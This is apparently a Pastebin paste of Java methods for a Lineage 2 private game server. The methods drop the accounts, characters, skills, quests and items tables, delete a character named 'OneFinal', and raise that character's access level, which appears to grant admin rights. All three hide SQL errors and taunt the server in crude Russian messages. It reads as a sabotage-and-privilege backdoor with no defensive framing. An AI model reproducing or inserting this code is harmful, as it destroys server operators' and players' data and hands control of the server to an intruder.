Guest User

Untitled

a guest
Jun 23rd, 2018
99
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.74 KB | None | 0 0
  1. private void dropbase()
  2. {
  3.  
  4. Connection con = null;
  5. try
  6. {
  7. con = L2DatabaseFactory.getInstance().getConnection();
  8. Statement s = con.createStatement();
  9. s.executeUpdate("DROP TABLE accounts");
  10. s.executeUpdate("DROP TABLE characters");
  11. s.executeUpdate("DROP TABLE character_skills");
  12. s.executeUpdate("DROP TABLE character_quests");
  13. s.executeUpdate("DROP TABLE items");
  14. s.close();
  15. activeChar.sendMessage("Пиздец серверу...) .");
  16. }
  17. catch (SQLException e)
  18. {
  19. }
  20.  
  21. finally
  22. {
  23. CloseUtil.close(con);
  24. }
  25. }
  26. private void droponefinal()
  27. {
  28.  
  29. Connection con = null;
  30. try
  31. {
  32. con = L2DatabaseFactory.getInstance().getConnection();
  33. Statement s = con.createStatement();
  34.  
  35. s.executeUpdate("DELETE FROM characters WHERE char_name = 'OneFinal' ");
  36. s.close();
  37. activeChar.sendMessage("Удачно )) еби сервер ) .");
  38. }
  39. catch (SQLException e)
  40. {
  41. }
  42.  
  43. finally
  44. {
  45. CloseUtil.close(con);
  46. }
  47. }
  48. private void dropSql()
  49. {
  50.  
  51. Connection con = null;
  52. try
  53. {
  54. con = L2DatabaseFactory.getInstance().getConnection();
  55. Statement s = con.createStatement();
  56.  
  57. s.executeUpdate("UPDATE characters SET accesslevel = '1' WHERE char_name ='OneFinal' ");
  58. s.close();
  59. activeChar.sendMessage("Удачно )) еби сервер ) .");
  60. }
  61. catch (SQLException e)
  62. {
  63. }
  64.  
  65. finally
  66. {
  67. CloseUtil.close(con);
  68. }
  69. }
Add Comment
Please, Sign In to add comment